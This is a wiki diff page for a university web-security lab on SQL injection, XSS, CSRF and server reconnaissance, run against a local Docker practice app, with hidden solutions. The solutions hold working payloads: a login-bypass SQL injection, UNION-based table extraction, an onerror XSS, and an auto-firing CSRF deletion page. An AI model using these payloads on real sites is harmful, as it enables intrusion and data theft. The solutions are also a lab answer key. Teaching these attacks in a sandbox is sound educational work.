Differences

This shows you the differences between two versions of the page.

Link to this comparison view

isc:labs:07 [2024/11/17 12:20]
florin.stancu
isc:labs:07 [2024/11/20 10:17] (current)
radu.mantu
Line 3: Line 3:
 ====== Lab 07 - Web Security ====== ====== Lab 07 - Web Security ======
  
-WIP+===== Objectives ===== 
 + 
 +  * Web vulnerabilities,​ both server-side and client-side 
 +  * Server-side SQL injection 
 +  * Cross-Site Scripting, Cross-Site Request Forgery 
 + 
 +===== Background ===== 
 + 
 +==== SQL Injection ==== 
 + 
 +SQL Injection is a server-side code injection vulnerability resulting from 
 +improper (unsanitized) input directly concatenated into SQL queries. 
 +Typical server queries are built as strings: 
 +<code javascript>​ 
 +sql = "​SELECT * FROM table WHERE item = '"​ + user_input_variable + "'​ <other expressions>";​ 
 +database.query(sql);​ 
 +</​code>​ 
 + 
 +Note that the user may choose to escape the SQL quotes and alter the SQL statement, e.g.: 
 +<code javascript>​ 
 +user_input_variable = "'​ OR 1=1 -- "; // example input given by the user 
 +sql = "​SELECT * FROM table WHERE item = ''​ OR 1=1 -- ' <other expressions>";​ 
 +</​code>​ 
 + 
 +An SQL injection exploit ultimately depends on the target SQL expression (which 
 +is usually unknown to the attacker) and query result behavior (whether the 
 +query contents arem displayed on screen or the user is blind, errors reported 
 +etc.). 
 + 
 +**Make sure to check those cheatsheets out:** \\ 
 +[[https://​portswigger.net/​web-security/​sql-injection]] \\ 
 +[[https://​github.com/​swisskyrepo/​PayloadsAllTheThings/​tree/​master/​SQL%20Injection]] \\ 
 +and:\\ 
 +[[https://​github.com/​swisskyrepo/​PayloadsAllTheThings/​blob/​master/​SQL%20Injection/​MySQL%20Injection.md]] 
 + 
 +==== Other server-side vulnerabilities ==== 
 + 
 +The SQL injection is a popular server-side code injection vulnerability,​ but 
 +there are many mistakes that a website developer / system administrator can 
 +make (//expect to find some of them in your homework :P //): 
 + 
 +  * code injection (LDAP, eval, shell execution etc.); 
 +  * broken authentication or access control (authorization);​ 
 +  * sensitive data exposure (e.g., backups / keys forgotten inside web root); 
 +  * path traversal;​ 
 +  * server misconfiguration;​ 
 +  * //​[[https://​owasp.org/​www-community/​vulnerabilities/​|and many more]]// 
 + 
 +There are even 
 +[[https://​owasp.org/​www-community/​Vulnerability_Scanning_Tools|free or 
 +commercial web vulnerability scanners]] for testing a server'​s sercurity! 
 + 
 + 
 +==== Client-side vulnerabilities ==== 
 + 
 +Browsers are now among the most targeted pieces of software on the Internet. 
 +This is mainly because of the large threat vector resulting from the complexity of 
 +the web ecosystem, requiring features such as fancy HTML+CSS rendering,​ 
 +animation and even sandboxed, untrusted JavaScript code execution. 
 + 
 +Even when the browsers do a good job at protecting against attacks, sometimes 
 +trusted websites themselved may contain bugs that directly affect the security 
 +of their users. 
 + 
 +A major threat, **Cross Site Scripting (XSS)** is a JavaScript code injection 
 +vulnerability where an attacker that found a way to post public HTML scripts 
 +into an unprotected website (e.g., by using comments forms or forum responses). 
 +Those scripts, if served to other visitors, will execute with the credentials 
 +of their respective users, making it possible for the attacker to scam, 
 +exfiltrate personal data or even push malware into the victim'​s PC. 
 + 
 +Another typical client-side vulnerability that the web developers need to 
 +protect their websites against is 
 +**[[https://​research.securitum.com/​what-is-the-csrf-cross-site-request-forgery-vulnerability/​|Cross-Site 
 +Request Forgery (CSRF)]]**. 
 +In this attack, the victim is tricked into opening an attacker-controlled web 
 +page which then issues custom requests (either using concealed elements that do 
 +external requests - ''​img'',​ ''​form'',​ or by using JavaScript / AJAX) to 
 +another (target) website. The browser will happily make the requests using the 
 +target domain'​s cookies and credentials. 
 +If the target website has URLs that execute certain actions (e.g., ''​POST 
 +https://​my-blog/​post.php''​) without verifying the source of the request, any 
 +malicious page can execute them. 
 +Note that the attacker cannot see the results of those requests (unless 
 +authorized by CORS headers by the target). 
 +In practice, any URL endpoint executing sensitive actions needs to be protected 
 +using either referer validation or CSRF tokens. 
 + 
 +===== Setup ===== 
 + 
 +You will be using a [[https://​cloud.grid.pub.ro/​|OpenStack VM]] for 
 +your tasks. 
 + 
 +Remember that the instances have private IPs, ''​10.9.x.y'',​ inaccessible from 
 +anywhere but the campus network. Since we need to use a local browser to access 
 +a web server running inside the VM, we will employ a SSH tunnelling + proxy 
 +trick to accomplish this. 
 + 
 +You should already have a [[:​isc:​info:​virtualmachine|SSH keypair for authenticating with fep & OpenStack]]:​ 
 + 
 +We will be using ''​ssh''​`s Local Port Forwarding feature, requesting it to pass all packets from ''​localhost:​8080''​ through the SSH tunnel to the destination VM on ''​8080'':​ 
 + 
 +<code bash> 
 +# Additional args: -L [bind_address:​]port:​host:​hostport 
 +# man ssh, /-L to search for it ;) 
 +ssh -L "​8080:​localhost:​8080"​ -J <​moodle.username>​@fep.grid.pub.ro student@10.9.X.Y 
 +</​code>​ 
 + 
 +===== Tasks ===== 
 + 
 +=== 1 [30p]. SQL Injection === 
 + 
 +  * Start the web server by using the following sequence: <code bash> 
 +# First, start the MariaDB instance in background 
 +docker run -d --rm --name database ghcr.io/​cs-pub-ro/​isc-lab-web-db 
 +# Wait until the DB server fully starts: 
 +docker logs database -f  
 +# Ctrl+C and continue when it says: '​mariadbd:​ ready for connections.'​ 
 + 
 +# Finally, start the lab's web server 
 +docker run -it --link database:​database -p 8080:8080 ghcr.io/​cs-pub-ro/​isc-lab-web-app 
 +</​code>​ 
 +  * Connect to the application using [[http://​localhost:​8080/​]] (assuming you forwarded the port correctly) 
 +  * Login with ''​test:​test'';​ you fail to get any flag... try to become ''​admin''​! 
 +  * The most common approach when testing for SQL Injection is to input an apostrophe (''​%%'​%%''​) in any of the provided fields ([[https://​security.stackexchange.com/​questions/​67972/​why-do-testers-often-use-the-single-quote-to-test-for-sql-injection]]) 
 +    * //Hint: Try the apostrophe in the first of the login fields, check if it shows an error!// 
 +  * After examining the error the form prompts, we can assume how the query is being made: <code sql> 
 +SELECT <​columns>​ FROM <users table> WHERE <user name column> = '<​input_username>'​ AND password = '<​input_password>'​ LIMIT 1; 
 +</​code>​ 
 +    * //Note//: You don't know the name of the table or any other column (we only know the ''​password''​ field); but do we really need to? 
 +    * //Hint//: You need to comment out the rest of the query, as to remove the second condition! Can you use [[https://​google.com|Google]] to find the MariaDB/​MySQL comment delimiters?​ 
 +    * //If you are getting logged in as ''​test'',​ it's because that's the first row in the table... filter it out, maybe (remember, which account do you need to login as)?// 
 + 
 +<​solution -hidden>​ 
 +Login with ''​%%admin'​ -- -%%''​ 
 +</​solution>​ 
 + 
 +=== 2 [30p]. Cross-Site Scripting === 
 + 
 +  * Can you exploit the WISIWYG editor to do some JS code injection for all visitors? Try to display [[https://​www.w3schools.com/​js/​js_popup.asp|a popup]], for starters! 
 + 
 +<note important>​ 
 +For unknown reasons, ''<​script>''​ tags are automatically removed by the [[https://​quilljs.com|Quill WISIWYG]] editor. 
 + 
 +To workaround that, simply change XSS injection strategy to use ''​onerror''​ attribute on a invalid image, e.g.: 
 +''​%%<​img src='/​404'​ onerror='​alert("​hello"​)'>​%%''​ 
 +</​note>​ 
 +<note warning>​ 
 +DO NOT EDIT the entire ''​%%<​div class="​ql-editor"​ contenteditable="​true">​%%''​ element! The JavaScript WISIWYG editor has internal reference to this node, and if you invalidate it, the editor will become broken (and the exploit won't work!!!). 
 + 
 +The proper way is to choose a inner ''​%%<​p>​%%''​ (just write some random text inside the editor beforehand) and edit that instead! 
 +</​note>​ 
 + 
 +  * **//​Hints//​**:​ 
 +    * The rich text editor doesn'​t provide a visual way to inject JavaScript code... but you can use your browser'​s developer console to inspect and edit the ''#​editor'''​s HTML directly! 
 +  * After you successfully inject your test code, try to do the same but make it so it changes //​Simion//'​s slogan (your choice of message!) 
 +    * //Hint//: Inspect the HTML, you can use [[https://​developer.mozilla.org/​en-US/​docs/​Web/​API/​Document/​querySelector|document.querySelector()]] to match the element'​s class and modify its ''​innerHTML''​ property to do this ;) 
 +  * Unfortunately,​ **there'​s no flag for this one**, you just need to prove you modified the slogan using XSS! 
 + 
 +<spoiler If you've never used JS DOM API: expand>​ 
 +<code html> 
 +// note: you need to concatenate this as a one-liner when injecting as '​onerror'​ 
 +var elem = document.querySelector("​span.classNameHere"​);​ 
 +elem.innerHTML = "​change the element'​s HTML directly using this!";​ 
 +</​code>​ 
 +</​spoiler>​ 
 +
 + 
 +  * If you ever want to reset the database, kill the MariaDB server:<​code>​ 
 +docker kill database 
 +# then use the initial command ^^^ to re-initialize it! 
 +</​code>​ 
 + 
 +<​solution -hidden>​ 
 +<​code>​ 
 +Inspect element pe #editor, then: 
 +<​script>​ 
 +document.querySelector('​span.simionSays'​).innerHTML = "​Florin Salam va cânta gratis de ziua fiecărui român!";​ 
 +</​script>​ 
 +</​code>​ 
 +</​solution>​ 
 + 
 +=== 3 [20p]. Cross-Site Request Forgery === 
 + 
 +  * The objective is to fool your victim using an external website (create a local .html page to simulate this) to do attacker-controlled actions like deleting all posts from the guestbook. 
 +  * On your local station, as the attacker: create a ''​free-bitcoin.html''​ file that issues //delete// requests to the ''​localhost:​8080/​journal''​ application;​ check the HTML source code for the actual URLs! 
 +    * **Note**: You must remain logged in as ''​admin''​! Altough you only see delete links on own posts, as admin, you can actually delete every other one by issuing a direct request (you can also see it in the source code retrieved from the next task)! 
 +    * //Hint//: just observe the HTML: post IDs start from 1 and increment by 1! Use this info to build the delete URLs! 
 +    * //Hint//: AJAX / ''​fetch''​ API does preflight (''​OPTION''​) requests, it **won'​t work** for our purposes! 
 +    * //Hint//: fortunately,​ issuing GET requests is as simple as inserting an ''<​img>''​ HTML tag (''<​iframe>''​s are also a good choice)! 
 +    * //You may simply add 10 HTML elements automatically issuing requests manually, or you can do this more elegantly (via JavaScript).//​ 
 +  * Some modern browsers block ''​%%file://​%%''​ protocols from accessing online domains; as workaround, you can use Python host the page on another localhost port, e.g.:<​code>​ 
 +mkdir /​tmp/​malicious-website && cd /​tmp/​malicious-website 
 +vim free-bitcoin.html ​ # <- put your HTML here 
 +python3 -m http.server 9090 
 +# you can then access the malicious page at http://​localhost:​9090/​free-bitcoin.html ! 
 +# note: if you're running this inside WSL2, first replace localhost with the IP address of the VM: 
 +ip addr show 
 +</​code>​ 
 +  * If on Firefox, try to disable Enhanced Tracking Protection on the malicious HTML (from the security icon on the left of the address), especially when you're coming from an external WSL IP address. 
 +  * Switch sides (you'​re the victim, now): open your malicious HTML page using the same web browser. 
 +    * //Note//: again, **make sure** you are logged in as ''​admin''​ inside the web app before doing the attack! 
 +  * In order to see the flag, you must delete all posts (from your malicious page OFC)! 
 + 
 +<​solution -hidden>​ 
 +<​code>​ 
 +<​html>​ 
 +<​body>​ 
 +  <​script>​ 
 +  for (var i=1; i<=10; i++) { 
 +    document.write("<​img src=\"​http://​localhost:​8080/​journal/​delete?​id="​ + i + "​\">"​);​ 
 +  } 
 +  </​script>​ 
 +</​body>​ 
 +</​html>​ 
 +</​code>​ 
 +</​solution>​ 
 + 
 +=== 4 [20p]. Server Reconnaissance === 
 + 
 +  * Can you steal the source code of the server-side code using HTTP only? 
 +  * Once you found it, try to find the hidden source code flag! 
 +  * Hint: try to guess the path to a [[https://​docs.npmjs.com/​files/​package.json|well-known file]] that all NodeJS projects have! It may reference the main script'​s name! 
 +  * You can try using a tool: [[https://​cirt.net/​nikto2|nikto]],​ ''​apt install nikto''​ 
 + 
 +<​solution -hidden>​ 
 +<​code>​ 
 +GET /​package.json 
 +it references the main file: 
 +GET /​server.js 
 +</​code>​ 
 +</​solution>​ 
 + 
 +=== 5 [20p, BONUS]. Advanced SQL Injection === 
 + 
 +  * Start the web server from the first task again. 
 +  * What if I told you there is a hidden **flag** inside the database? Find it! 
 +  * Hint: where do you have query feedback inside the application?​ try to do an ''​UNION''​ hack! 
 +  * Note: Since we will be using the same query as the one used in the first exercise, we must first find the exact number of columns provided to the statement. We are aiming at building a query of this format: <code sql> 
 +SELECT col1, col2, ..., colN from users WHERE username =''​ UNION SELECT col1, col2, ... , colN-1, desired_column from desired_database_table --;</​code>​ 
 +  * Note: for UNION to work, you must SELECT exactly the same number of columns as in the original query! 
 +  * After finding out the exact number of columns, we can use ''​GROUP_CONCAT''​ technique to extract the available database table names.\\ Check out the cheatsheets from the Background section! (P.S. database schema is ''​journalapp''​) 
 +  * Hint: <​code>​UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<​what are we looking for in the schema>) FROM information_schema.tables WHERE table_schema='<​our schema name>'​ </​code>​ \\ It is not necessary to know the exact names of '​col1',​ '​col2',​ ... '​colN-1'​. You can replace it with numbers or '​@'​. 
 +  * Got any table that catches your eye? We are going to use ''​GROUP_CONCAT''​ again, but this time we are trying to find the name of the columns of our desired table. 
 +  * Hint: <​code>​UNION SELECT col1, col2, ... , colN-1, GROUP_CONCAT(<​what are we looking for in the table>) FROM information_schema.columns WHERE table_name='<​our table name>'​ </​code>​ 
 +  * Got the column name? Good. Now it should be nothing more than a simple select query :) 
 +  * Hint: <​code>​UNION SELECT col1, col2, ... , colN-1, <desired column name> FROM <desired table name></​code>​ 
 + 
 +<​solution -hidden>​ 
 +Find the number of main table columns: ''​%%asd'​ UNION (SELECT 1, 2, 3, 4) -- .%%''​\\ 
 +Find the tables: ''​%%'​ UNION SELECT 1, 2, 3, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='​journalapp'​ -- .%%''​\\ 
 +Find the columns: ''​%%'​ UNION SELECT 1, 2, 3, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='​flagz0rx'​ -- .%%''​\\ 
 +Find the flag: ''​%%'​ UNION SELECT 1, 2, 3, flag_val0r3 FROM flagz0rx -- .%%''​\\ 
 +</​solution>​ 
 + 
 +=== Feedback === 
 + 
 +Please take a minute to fill in the [[https://​forms.gle/​5Lu1mFa63zptk2ox9|feedback form]] for this lab. 
 + 
isc/labs/07.1731838805.txt.gz · Last modified: 2024/11/17 12:20 by florin.stancu
CC Attribution-Share Alike 3.0 Unported
www.chimeric.de Valid CSS Driven by DokuWiki do yourself a favour and use a real browser - get firefox!! Recent changes RSS feed Valid XHTML 1.0